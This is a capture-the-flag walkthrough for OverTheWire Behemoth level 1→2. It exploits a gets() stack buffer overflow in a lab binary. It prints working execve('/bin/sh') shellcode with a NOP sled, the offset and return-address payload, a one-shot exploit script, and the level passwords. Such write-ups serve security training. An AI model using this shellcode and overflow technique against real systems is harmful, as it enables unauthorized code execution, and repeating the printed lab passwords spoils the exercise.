OverTheWire Behemoth Level 1 → 2 tutorial!!
Login
Log in as behemoth1 using the password you obtained from Level 0 → 1.
ssh behemoth1@behemoth.labs.overthewire.org -p 2221
# password: aesebootiv
Task
There is a binary called /behemoth/behemoth1
.
This time, ltrace
won’t help. Instead, the binary is vulnerable to a stack buffer overflow.
We need to craft an exploit to overwrite the return address and redirect execution to shellcode we control.
A little bit of Theory
- gets(3) → unsafe, doesn’t check buffer length → classic overflow.
- Offset discovery → how many bytes to smash EIP.
- Shellcode in env var → store
/bin/sh
payload inSHELLCODE
with a NOP sled. - Return-to-env → overwrite EIP with the address of that variable (in little endian).
Further reading:
Solution
1. Baseline run
cd /behemoth
./behemoth1
Password: blah
Authentication failure.
Sorry.
Now try flooding input:
(python -c "print(128 * 'A')" | ./behemoth1)
# → Segmentation fault
2. Find offset with GDB
gdb -q ./behemoth1
(gdb) set disassembly-flavor intel
(gdb) disas main
You’ll see:
sub esp,0x44 ; reserves 68 bytes for input buffer
call gets@plt
Now feed a test pattern:
run < <(python -c "print(71*'A' + 'BBBB')")
EIP is now 0x42424242
→ ✅ offset ≈ 71 bytes.
3. Prepare shellcode in an environment variable
export SHELLCODE=$(python -c 'print(20*"\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')
This is the standard 32-bit execve(“/bin/sh”) shellcode, with a 20-byte NOP sled.
4. Find address of env var
Helper program /tmp/find_addr.c
:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s is at %p\n", argv[1], getenv(argv[1]));
return 0;
}
Compile & run:
gcc -m32 /tmp/find_addr.c -o /tmp/find_addr
/tmp/find_addr SHELLCODE
# Example output: SHELLCODE is at 0xffffde80
5. Exploit
Now overwrite EIP with that address (little endian):
(python -c 'import sys; sys.stdout.write("A"*71 + "\x80\xde\xff\xff")' | ./behemoth1)
If successful, you’ll get:
whoami
# behemoth2
cat /etc/behemoth_pass/behemoth2
# eimahquuof
Password
eimahquuof
Troubleshooting
- Segfault but no shell → adjust the return address ±16–64 bytes (land in NOP sled).
- Wrong offset → verify with
BBBB
test that EIP really becomes0x42424242
. - Still “Authentication failure” → ensure your payload ends with
\n
. - Env addr mismatch → check
/tmp/find_addr SHELLCODE
outside gdb (inside gdb, addresses shift).
Copy-paste quick run (one shot)
ssh behemoth1@behemoth.labs.overthewire.org -p 2221
# password: aesebootiv
# 1) Set env var
export SHELLCODE=$(python -c 'print(20*"\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')
# 2) Helper
cat >/tmp/find_addr.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) { printf("%s is at %p\n", argv[1], getenv(argv[1])); }
EOF
gcc -m32 /tmp/find_addr.c -o /tmp/find_addr
/tmp/find_addr SHELLCODE
# 3) Exploit (adjust address if needed)
cd /behemoth
(python -c 'import sys; sys.stdout.write("A"*71 + "\x80\xde\xff\xff")' | ./behemoth1)
whoami
cat /etc/behemoth_pass/behemoth2
Congrats 🎉 You built your first buffer overflow exploit with ret2env shellcode, escalated to behemoth2, and captured the next password!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨